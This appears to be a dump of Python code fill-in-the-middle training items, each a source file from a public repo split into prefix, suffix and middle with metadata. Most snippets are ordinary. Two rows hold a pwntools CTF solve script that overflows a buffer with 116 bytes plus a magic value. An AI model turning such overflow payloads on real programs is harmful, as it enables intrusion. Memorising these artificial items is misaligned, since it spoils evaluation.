text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|>@given('the following pets')
def step_impl(context):
""" Delete all Pets and load new ones """
# List all of the pets and delete them one by one
rest_endpoint = f"{context.base_url}/pets"
context.resp = requests.get(rest_endpoint)
assert(context.resp.status_code == HTTP_200_OK)
fo... | code_fim | medium | {
"lang": "python",
"repo": "nyu-devops/lab-flask-bdd",
"path": "/features/steps/pets_steps.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: z03h/CyberTron5000-1 path: /CyberTron5000/cogs/tags.py
"""
Dedicated to thag
"""
from asyncio import TimeoutError
from random import randint
import discord
from discord.ext import commands
from CyberTron5000.utils.cyberformat import better_random_char
from CyberTron5000.utils.paginator import (... | code_fim | hard | {
"lang": "python",
"repo": "z03h/CyberTron5000-1",
"path": "/CyberTron5000/cogs/tags.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> @tag.command()
@commands.cooldown(1, 30, commands.BucketType.user)
async def make(self, ctx, *args):
"""Makes a tag"""
if args:
return await ctx.send(f"Just call `{ctx.prefix}tag make`")
if not self._tag_dict.get(ctx.guild.id):
self._tag_dict[ctx... | code_fim | hard | {
"lang": "python",
"repo": "z03h/CyberTron5000-1",
"path": "/CyberTron5000/cogs/tags.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: altsoph/paranoid_transformer path: /simple_cleaner.py
import sys
from nltk.tokenize import sent_tokenize, word_tokenize
from collections import defaultdict
from nltk import pos_tag
vocab = set()
for line in open("vocab.txt", encoding='utf-8'):
vocab.add( line.strip() )
outfh = open(sy... | code_fim | hard | {
"lang": "python",
"repo": "altsoph/paranoid_transformer",
"path": "/simple_cleaner.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> no_punct = []
size = 0
for npidx,w in enumerate(words):
if w in ('...','!','?',',','--','-',';',':','`','"','.'):
no_punct.append(size)
size = 0
else:
size += 1
no_punct.append(size)
pos = pos_tag(words)
skip = False
for idx,(w,p) in enumerate(pos[:-1]):
# ... | code_fim | hard | {
"lang": "python",
"repo": "altsoph/paranoid_transformer",
"path": "/simple_cleaner.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fuyasing/mongoengine path: /mongoengine/django/forms.py
go import forms
from django.core.exceptions import ValidationError, NON_FIELD_ERRORS
from django.core.validators import RegexValidator
import mongoengine
from django.utils.datastructures import SortedDict
__all__ = (
'DocForm', 'Bas... | code_fim | hard | {
"lang": "python",
"repo": "fuyasing/mongoengine",
"path": "/mongoengine/django/forms.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
This class is used to collect attributes of subclass 'Meta' defined in the customed form class inherited from DocForm.
"""
def __init__(self, options=None):
self.document = getattr(options, 'document', None)
self.fields = getattr(options, 'fields', None)
self.ex... | code_fim | hard | {
"lang": "python",
"repo": "fuyasing/mongoengine",
"path": "/mongoengine/django/forms.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> first_name = StringField(verbose_name = _("First Name"), max_length=30, required = False)
last_name = StringField(verbose_name = _("Last Name"), max_length=30, required = False)
email = EmailField(required=False, verbose_name=_("Publiced Email"), help_text=_("This email address is ... | code_fim | hard | {
"lang": "python",
"repo": "fuyasing/mongoengine",
"path": "/mongoengine/django/forms.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kondratyev-nv/training path: /python/test/subnumbers_sum_tests.py
import unittest
from src.subnumbers_sum import subnumbers_sum
class subnumbers_sum_tests(unittest.TestCase):
def test_returns_zero_for_zero(self):
self.assertEqual(0, subnumbers_sum("0"))
<|fim_suffix|> for i... | code_fim | hard | {
"lang": "python",
"repo": "kondratyev-nv/training",
"path": "/python/test/subnumbers_sum_tests.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> def test_returns_sum_of_subnumbers_for_string_greater_than_integer(self):
self.assertEqual(418591883,
subnumbers_sum("4456776194263478628746238746233874623487236487236487264872"))
if __name__ == '__main__':
unittest.main()<|fim_prefix|># repo: kondratyev-nv/train... | code_fim | hard | {
"lang": "python",
"repo": "kondratyev-nv/training",
"path": "/python/test/subnumbers_sum_tests.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.assertEqual(0, subnumbers_sum("0"))
def test_returns_number_for_single_digit_number(self):
for i in range(0, 10):
self.assertEqual(i, subnumbers_sum(str(i)))
def test_returns_sum_of_subnumbers_for_number_with_two_digits(self):
for i in range(1, 10):
... | code_fim | hard | {
"lang": "python",
"repo": "kondratyev-nv/training",
"path": "/python/test/subnumbers_sum_tests.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|>
Returns: An System.Security.IPermission that represents the intersection of the current permission and
the specified permission; otherwise, null if the intersection is empty.
"""
pass
def IsSubsetOf(self, target):
"""
IsSubsetOf(self... | code_fim | hard | {
"lang": "python",
"repo": "gtalarico/ironpython-stubs",
"path": "/release/stubs/System/Web.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
target: A permission to combine with the current permission. It must be of the same type as the current
permission.
Returns: An System.Security.IPermission that represents the intersection of the current permission and
... | code_fim | hard | {
"lang": "python",
"repo": "gtalarico/ironpython-stubs",
"path": "/release/stubs/System/Web.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gtalarico/ironpython-stubs path: /release/stubs/System/Web.py
# encoding: utf-8
# module System.Web calls itself Web
# from System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
# by generator 1.145
""" NamespaceTracker represent a CLS namespace. """
# no imports
# no ... | code_fim | hard | {
"lang": "python",
"repo": "gtalarico/ironpython-stubs",
"path": "/release/stubs/System/Web.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def tearDown(self):
Post.objects.all().delete()
def test_instance(self):
self.assertTrue(isinstance(self.hiking, Post))
def test_save_method(self):
self.Peris.save_post()
tittle = Post.objects.all()<|fim_prefix|># repo: PerisOduol618/Instagram path: /inst... | code_fim | hard | {
"lang": "python",
"repo": "PerisOduol618/Instagram",
"path": "/insta/tests.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PerisOduol618/Instagram path: /insta/tests.py
from django.test import TestCase
from.models import Profile
# Create your tests here.
class ProfileTestClass(TestCase):
def setUp(self):
self.Peris = Profile(name = 'Peris', profile_pic = 'image.jpg', bio='Always conected to my instagra... | code_fim | medium | {
"lang": "python",
"repo": "PerisOduol618/Instagram",
"path": "/insta/tests.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class PostTestCase(TestCase):
def setUp(self):
self.hiking = Profile(image= 'image.jpg', title = 'hiking', user='User')
self.hiking.save()
def tearDown(self):
Post.objects.all().delete()
def test_instance(self):
self.assertTrue(isinstance(self.hiking, Pos... | code_fim | hard | {
"lang": "python",
"repo": "PerisOduol618/Instagram",
"path": "/insta/tests.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: yosho-18/AtCoder path: /AtC_Gra_Con_001-010/AGC007/A.py
h, w = map(int, input().split())
c = []
for i in range(h):#h:高さ
c.append([str(m) for m in list(input())])
pcnt = 0
qcnt = 0
for i in ra<|fim_suffix|>t == 1 and qcnt == 1:
print("Impossible")
exit()
... | code_fim | hard | {
"lang": "python",
"repo": "yosho-18/AtCoder",
"path": "/AtC_Gra_Con_001-010/AGC007/A.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>t == 1 and qcnt == 1:
print("Impossible")
exit()
pcnt = 0
qcnt = 0
print("Possible")<|fim_prefix|># repo: yosho-18/AtCoder path: /AtC_Gra_Con_001-010/AGC007/A.py
h, w = map(int, input().split())
c = []
for i in range(h):#h:高さ
c.append([str(m) fo... | code_fim | hard | {
"lang": "python",
"repo": "yosho-18/AtCoder",
"path": "/AtC_Gra_Con_001-010/AGC007/A.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def Methods(self):
"""The RegisteredList object supports the same methods as a standard Python list object."""
pass<|fim_prefix|># repo: haiiliin/pyabaqus path: /src/abaqus/CustomKernel/RegisteredList.py
from .CommandRegister import CommandRegister
class RegisteredList(CommandRegist... | code_fim | hard | {
"lang": "python",
"repo": "haiiliin/pyabaqus",
"path": "/src/abaqus/CustomKernel/RegisteredList.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: haiiliin/pyabaqus path: /src/abaqus/CustomKernel/RegisteredList.py
from .CommandRegister import CommandRegister
class RegisteredList(CommandRegister):
"""This class allows you to create a list that can be queried from the GUI and is capable
of notifying the GUI when the contents of the ... | code_fim | medium | {
"lang": "python",
"repo": "haiiliin/pyabaqus",
"path": "/src/abaqus/CustomKernel/RegisteredList.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> customKernel.RegisteredList
Returns
-------
A RegisteredList object.
"""
super().__init__()
pass
def Methods(self):
"""The RegisteredList object supports the same methods as a standard Python list object."""
pass<|fim_pr... | code_fim | medium | {
"lang": "python",
"repo": "haiiliin/pyabaqus",
"path": "/src/abaqus/CustomKernel/RegisteredList.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def backfill_uv_variables(src_glider_nc, empty_uv_processed_paths):
uv_values = {}
for key_name in GLIDER_UV_DATATYPE_KEYS:
uv_values[key_name] = src_glider_nc.get_scalar(key_name)
for file_path in empty_uv_processed_paths:
with open_glider_netcdf(file_path, 'a') as dst_glider... | code_fim | hard | {
"lang": "python",
"repo": "ceotr/GUTILS",
"path": "/gutils/level0.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ceotr/GUTILS path: /gutils/level0.py
import numpy as np
from gutils.gbdr import (
GliderBDReader,
MergedGliderBDReader
)
from gutils.yo import find_yo_extrema
from gutils.gps import interpolate_gps
from gutils.yo.filters import default_filter
from gutils.nc import open_glider_netcdf, GL... | code_fim | hard | {
"lang": "python",
"repo": "ceotr/GUTILS",
"path": "/gutils/level0.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> uv_values = {}
for key_name in GLIDER_UV_DATATYPE_KEYS:
uv_values[key_name] = src_glider_nc.get_scalar(key_name)
for file_path in empty_uv_processed_paths:
with open_glider_netcdf(file_path, 'a') as dst_glider_nc:
fill_uv_variables(dst_glider_nc, uv_values)
re... | code_fim | hard | {
"lang": "python",
"repo": "ceotr/GUTILS",
"path": "/gutils/level0.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: RL-code-lib/nxdo path: /grl/algos/p2sro/eval_dispatcher/remote.py
import logging
from concurrent import futures
from typing import Tuple, List, Union
import grpc
from google.protobuf.empty_pb2 import Empty
from grl.algos.p2sro.eval_dispatcher.eval_dispatcher import EvalDispatcher
from grl.algos... | code_fim | hard | {
"lang": "python",
"repo": "RL-code-lib/nxdo",
"path": "/grl/algos/p2sro/eval_dispatcher/remote.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # noinspection PyMissingConstructor
def __init__(self, port=4536, remote_server_host="127.0.0.1"):
self._stub = EvalDispatcherStub(channel=grpc.insecure_channel(target=f"{remote_server_host}:{port}"))
def take_eval_job(self) -> (Union[None, Tuple[StrategySpec]], int):
response... | code_fim | hard | {
"lang": "python",
"repo": "RL-code-lib/nxdo",
"path": "/grl/algos/p2sro/eval_dispatcher/remote.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def submit_eval_job_result(self, policy_specs_for_each_player_tuple, payoffs_for_each_player: List[float],
games_played):
request = EvalJobResult(games_played=games_played)
request.json_policy_specs_for_each_player.extend(spec.to_json() for spec in policy... | code_fim | hard | {
"lang": "python",
"repo": "RL-code-lib/nxdo",
"path": "/grl/algos/p2sro/eval_dispatcher/remote.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: smottahedi/yelpscraper path: /yelpscraper/utils/alphanumericker.py
# -*- coding: utf-8 -*-
"""Shared alphanumeric functions"""
from time import time
from datetime import datetime
from unicodedata import normalize
def current_date_time_stamp():
"""Format current date time stamp"""
re... | code_fim | hard | {
"lang": "python",
"repo": "smottahedi/yelpscraper",
"path": "/yelpscraper/utils/alphanumericker.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def handle_dashes(string):
"""Handle `-` chars accordingly, i.e. add spaces around
:argument string: string to handle dashes in
:type string: str
:returns str
"""
if '-' in string:
string = string.replace('-', ' - ')
return string
def float_precision(float_number... | code_fim | hard | {
"lang": "python",
"repo": "smottahedi/yelpscraper",
"path": "/yelpscraper/utils/alphanumericker.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nithinchowdary007/writeups path: /solved_afterwards/2020-TJCTF/tinder/solve.py
from pwn import *
p = process("./match")
<|fim_suffix|>p.recvuntil(": ")
p.sendline("A")
p.recvuntil(": ")
p.sendline("A")
p.recvuntil(": ")
p.sendline("A")
p.recvuntil(": ")
p.sendline("A"*116 + p32(0xc0d3d00d))
... | code_fim | medium | {
"lang": "python",
"repo": "nithinchowdary007/writeups",
"path": "/solved_afterwards/2020-TJCTF/tinder/solve.py",
"mode": "psm",
"license": "LicenseRef-scancode-warranty-disclaimer",
"source": "the-stack-v2"
} |
<|fim_suffix|>p.recvuntil(": ")
p.sendline("A"*116 + p32(0xc0d3d00d))
p.interactive()<|fim_prefix|># repo: nithinchowdary007/writeups path: /solved_afterwards/2020-TJCTF/tinder/solve.py
from pwn import *
p = process("./match")
#context.log_level="debug"
<|fim_middle|>#gdb.attach(p, """break * main""")
p.recvunt... | code_fim | medium | {
"lang": "python",
"repo": "nithinchowdary007/writeups",
"path": "/solved_afterwards/2020-TJCTF/tinder/solve.py",
"mode": "spm",
"license": "LicenseRef-scancode-warranty-disclaimer",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: botatooo/fire_python path: /commands/desc.py
"""
MIT License
Copyright (c) 2021 GamingGeek
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including wit... | code_fim | hard | {
"lang": "python",
"repo": "botatooo/fire_python",
"path": "/commands/desc.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.bot = bot
async def set_desc(self, guild: discord.Guild, desc: str = None):
con = await self.bot.db.acquire()
async with con.transaction():
await self.bot.db.execute(
'UPDATE vanity SET \"description\" = $2 WHERE gid = $1;',
str... | code_fim | medium | {
"lang": "python",
"repo": "botatooo/fire_python",
"path": "/commands/desc.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """Try to match this message to our patterns to print something helpful"""
for pattern, response in patterns:
items_found = re.findall(pattern, repr(message))
if items_found:
#print("FOUND", items_found)
print_exception_message(response, items_found[0])
... | code_fim | hard | {
"lang": "python",
"repo": "ianozsvald/exceptional_clarity",
"path": "/exceptional_clarity.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ianozsvald/exceptional_clarity path: /exceptional_clarity.py
#!/usr/bin/env python """"""
from __future__ import print_function
import sys
import re
previous_traceback = None
PREPEND_STR = "<EXCEPTIONALCLARITY>"
# consider autopep8 module for checking bad syntax e.g.
# autopep8.check_syntax("i... | code_fim | hard | {
"lang": "python",
"repo": "ianozsvald/exceptional_clarity",
"path": "/exceptional_clarity.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> import subprocess
import signal
print('\033[31m Server shutting down...')
p = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
out, err = p.communicate()
for line in out.splitlines():
if b'flask' in line or b'python' in line:
pid = int(line.split(None, 1... | code_fim | hard | {
"lang": "python",
"repo": "DuMoH112/ShortUrlService",
"path": "/backend/app/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: DuMoH112/ShortUrlService path: /backend/app/__init__.py
import os
from flask import Flask
from flask_cors import CORS
from flask_sslify import SSLify
from app.routes import route
from app.config import config, init_config
def create_flask_app():
app = Flask(__name__)
# sslify = SSLify... | code_fim | hard | {
"lang": "python",
"repo": "DuMoH112/ShortUrlService",
"path": "/backend/app/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def shutdown_server():
import subprocess
import signal
print('\033[31m Server shutting down...')
p = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
out, err = p.communicate()
for line in out.splitlines():
if b'flask' in line or b'python' in line:
pid ... | code_fim | hard | {
"lang": "python",
"repo": "DuMoH112/ShortUrlService",
"path": "/backend/app/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> >>> unique(['bb', 'aa', 'aa', 'aa', 'aa', 'aa', 'bb'])
['bb', 'aa']
"""
return list(collections.OrderedDict.fromkeys(list_))
def sortby_param_str_from_list(sortby: List[Tuple[str, str]]=None) -> str:
"""Turns a list of tuples into a string for sending as GET parameter
>>> sortby... | code_fim | hard | {
"lang": "python",
"repo": "peeter123/octopart",
"path": "/octopart/utils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: peeter123/octopart path: /octopart/utils.py
import collections
import itertools
import json
import logging
from typing import List, Tuple
from urllib.parse import urlencode
from .exceptions import OctopartTypeError
logger = logging.getLogger(__name__)
URL_MAX_LENGTH = 8000
def chunked(list... | code_fim | hard | {
"lang": "python",
"repo": "peeter123/octopart",
"path": "/octopart/utils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def flatten(list_of_lists: List[List]) -> List:
"""Chain together a list of lists
>>> flatten([[1, 2], [3, 4, 5], ['a']])
[1, 2, 3, 4, 5, 'a']
"""
return list(itertools.chain(*list_of_lists))
def unique(list_: List) -> List:
"""Remove duplicate entries from list, keeping it in i... | code_fim | hard | {
"lang": "python",
"repo": "peeter123/octopart",
"path": "/octopart/utils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> pattern = Struct(
"ElementId" / Int64ul,
"ParentId" / Int64ul,
"PropertyName" / WString,
"PropertyEffect" / Int32ul,
"ValueInt" / Int64ul,
"ValueString" / WString,
"ValueDouble" / Double
)
@declare(guid=guid("59e7a714-73a4-4147-b47e-0957048... | code_fim | hard | {
"lang": "python",
"repo": "killvxk/etl-parser",
"path": "/etl/parsers/etw/Microsoft_Windows_XAML_Diagnostics.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: killvxk/etl-parser path: /etl/parsers/etw/Microsoft_Windows_XAML_Diagnostics.py
egisterdOn" / Int64ul,
"PointerDeviceType" / Int32ul,
"OriginalSource" / Int64ul
)
@declare(guid=guid("59e7a714-73a4-4147-b47e-0957048c75c4"), event_id=8, version=0)
class Microsoft_Windows_XAML_... | code_fim | hard | {
"lang": "python",
"repo": "killvxk/etl-parser",
"path": "/etl/parsers/etw/Microsoft_Windows_XAML_Diagnostics.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>@declare(guid=guid("59e7a714-73a4-4147-b47e-0957048c75c4"), event_id=44, version=0)
class Microsoft_Windows_XAML_Diagnostics_44_0(Etw):
pattern = Struct(
"RegisterdOn" / Int64ul,
"OriginalSource" / Int64ul,
"Container" / Int64ul,
"IsInertial" / Int8ul
)
@declare(g... | code_fim | hard | {
"lang": "python",
"repo": "killvxk/etl-parser",
"path": "/etl/parsers/etw/Microsoft_Windows_XAML_Diagnostics.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jawsper/webirc path: /src/webirc/migrations/0016_auto_20170714_1501.py
# -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2017-07-14 13:01
from __future__ import unicode_literals
from django.db import migrations, models
<|fim_suffix|> dependencies = [
('webirc', '0015_auto_20170... | code_fim | medium | {
"lang": "python",
"repo": "jawsper/webirc",
"path": "/src/webirc/migrations/0016_auto_20170714_1501.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> dependencies = [
('webirc', '0015_auto_20170705_1115'),
]
operations = [
migrations.AddField(
model_name='message',
name='type',
field=models.IntegerField(choices=[(0, 'Privmsg'), (1, 'Notice')], default=0),
),
migrations.Alt... | code_fim | medium | {
"lang": "python",
"repo": "jawsper/webirc",
"path": "/src/webirc/migrations/0016_auto_20170714_1501.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.AddField(
model_name='message',
name='type',
field=models.IntegerField(choices=[(0, 'Privmsg'), (1, 'Notice')], default=0),
),
migrations.AlterField(
model_name='enterexitevent',
name='type',
... | code_fim | medium | {
"lang": "python",
"repo": "jawsper/webirc",
"path": "/src/webirc/migrations/0016_auto_20170714_1501.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if network_type == NetworkType.mlp:
net = model.MLPVAE((1, 32, 32), bottleneck_dim)
else:
net = model.CNNVAE((1, 32, 32), bottleneck_dim)
optim = torch.optim.Adam(net.parameters(), lr)
vae_trainer = trainer.Trainer(net, mnist_data, optim, batch_size, device, logdir)
va... | code_fim | hard | {
"lang": "python",
"repo": "watemerald/pytest_dl",
"path": "/pytest_dl/run.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: watemerald/pytest_dl path: /pytest_dl/run.py
from enum import Enum
import torch
from typer import Argument, Option, Typer
from pytest_dl import dataset, model, trainer
app = Typer()
<|fim_suffix|>@app.command()
def main(
network_type: NetworkType = Argument(..., help="type of the VAE net... | code_fim | medium | {
"lang": "python",
"repo": "watemerald/pytest_dl",
"path": "/pytest_dl/run.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cash2one/xai path: /xai/brain/wordbase/nouns/_cellar.py
#calss header
class _CELLAR():
def __init__(self,):
self.name = "CELLAR"
self.definitions = [u'a room under the ground floor of a building, usually used for storing things']
<|fim_suffix|>
def run(self, obj1 = [], obj2 = []):
ret... | code_fim | medium | {
"lang": "python",
"repo": "cash2one/xai",
"path": "/xai/brain/wordbase/nouns/_cellar.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> data_path = os.path.join(DATA_PATH, 'test/frames')
ann_path_ = os.path.join(DATA_PATH, 'test/gt')
seqs = os.listdir(data_path)
for seq in tqdm(sorted(seqs)):
ann_path = os.path.join(ann_path_, seq + "_GT_voc.xml")
parse_xml(ann_path,os.path.join(data_path,seq),OUT_PATH)
... | code_fim | hard | {
"lang": "python",
"repo": "980044579/TransVTSpotter",
"path": "/track_tools/Evaluation_ICDAR15_video/convert_xml2detectionGT.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> gt_path_txt = os.path.join(gt_path,"{}_{}.txt".format(video_path.split("/")[-1],child.attrib["ID"]))
write_lines(gt_path_txt, bboxes)
if __name__ == '__main__':
if not os.path.exists(OUT_PATH):
os.makedirs(OUT_PATH)
data_path = os.path.join(DATA_PATH, 'test... | code_fim | hard | {
"lang": "python",
"repo": "980044579/TransVTSpotter",
"path": "/track_tools/Evaluation_ICDAR15_video/convert_xml2detectionGT.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 980044579/TransVTSpotter path: /track_tools/Evaluation_ICDAR15_video/convert_xml2detectionGT.py
"""
https://github.com/xingyizhou/CenterTrack
Modified by weijia wu
"""
import os
import numpy as np
import json
import cv2
import shutil
try:
import xml.etree.cElementTree as ET # 解析xml的c语言版的模块
... | code_fim | hard | {
"lang": "python",
"repo": "980044579/TransVTSpotter",
"path": "/track_tools/Evaluation_ICDAR15_video/convert_xml2detectionGT.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> global FILE_SAVE_ROOT_PATH
FILE_SAVE_ROOT_PATH = os.path.join(os.path.expanduser("~"), r'Desktop\{}'.format(target_course_title))
try:
os.listdir(validate_title(FILE_SAVE_ROOT_PATH))
except FileNotFoundError:
os.makedirs(validate_title(FILE_SAVE_ROOT_PATH))
for it... | code_fim | hard | {
"lang": "python",
"repo": "tgzihg/AbookDownloader",
"path": "/Abook爬虫2.0.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tgzihg/AbookDownloader path: /Abook爬虫2.0.py
import os
import json
import random
import re
import time
import requests as req
import user_info as u
session = req.Session()
COURSES_INFO_FILE = 'CoursesInfo.json'
courses_list = []
course_data = {}
course_tree = []
target_course_serial,... | code_fim | hard | {
"lang": "python",
"repo": "tgzihg/AbookDownloader",
"path": "/Abook爬虫2.0.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: p3NTech/ProxyGrab path: /sites/proxyscrape.py
import requests #To request data using Api
#Function to get proxies from Proxyscrape
def proxyscrape(ptype):
#Api URL, the trailing / is necessary to complete the request in correct way...
api_url = "https://api.proxyscrape.com/"
#Two R... | code_fim | hard | {
"lang": "python",
"repo": "p3NTech/ProxyGrab",
"path": "/sites/proxyscrape.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> file.write(proxyscrape_proxies) #save proxies to a file
file.close() #close the file
print(f"Saved {ptype} proxies to: {filename}")
#If status is not equal to 200
else:
print("An error occured!\nResponse not equal 200")
pass<|fim_prefix|># repo: p3NTech/Pr... | code_fim | medium | {
"lang": "python",
"repo": "p3NTech/ProxyGrab",
"path": "/sites/proxyscrape.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> with mock.patch('requests.get', return_value=MockResponse(responses, 'text/plain'), __name__="get"):
yield
@pytest.fixture
def istiod_mixture_fixture():
mesh_file_path = os.path.join(HERE, 'fixtures', '1.5', 'istiod.txt')
responses = []
with open(mesh_file_path, 'r') as f:
... | code_fim | hard | {
"lang": "python",
"repo": "kloudfuse/integrations-core",
"path": "/istio/tests/conftest.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> mesh_file_path = os.path.join(HERE, 'fixtures', '1.5', 'istiod.txt')
responses = []
with open(mesh_file_path, 'r') as f:
responses.append(f.read())
with mock.patch('requests.get', return_value=MockResponse(responses, 'text/plain'), __name__="get"):
yield
@pytest.fixture
... | code_fim | hard | {
"lang": "python",
"repo": "kloudfuse/integrations-core",
"path": "/istio/tests/conftest.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kloudfuse/integrations-core path: /istio/tests/conftest.py
# (C) Datadog, Inc. 2019-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import os
import mock
import pytest
import requests
from requests.exceptions import HTTPError
from datadog_checks.base.ut... | code_fim | hard | {
"lang": "python",
"repo": "kloudfuse/integrations-core",
"path": "/istio/tests/conftest.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: amac0/google-location-tools path: /make_country_chart.py
import sys
from datetime import datetime
from dateutil.parser import parse
import pytz
import csv
#Make a geochart
#https://developers.google.com/chart/interactive/docs/gallery/geochart
#from a csv file that has timestamps and addresses wi... | code_fim | medium | {
"lang": "python",
"repo": "amac0/google-location-tools",
"path": "/make_country_chart.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> var chart = new google.visualization.GeoChart(document.getElementById('regions_div'));
chart.draw(data, options);
}
</script>
</head>
<body>
<div id="regions_div" style="width: 900px; height: 500px;"></div>
</body>
</html>'''<|fim_prefix|># repo: amac0/google-location-... | code_fim | hard | {
"lang": "python",
"repo": "amac0/google-location-tools",
"path": "/make_country_chart.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> #no intent found, return None
if result.intentName == "":
return None, None, None
else:
#parse
slot_info = json.loads(result.slot_json_string)
return result.intentName, result.probability, slot_info<|fim_prefix|># repo: CMU-TBD/snips... | code_fim | hard | {
"lang": "python",
"repo": "CMU-TBD/snips_nlu_ros",
"path": "/python_src/snips_nlu_ros/snips_wrapper.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CMU-TBD/snips_nlu_ros path: /python_src/snips_nlu_ros/snips_wrapper.py
#!/usr/bin/python
import rospy
import actionlib
from snips_nlu_ros.msg import (
NLUGoal,
NLUAction
)
import json
class SnipsNLU():
<|fim_suffix|>
def parse(self, text):
"""
Parse the string and re... | code_fim | medium | {
"lang": "python",
"repo": "CMU-TBD/snips_nlu_ros",
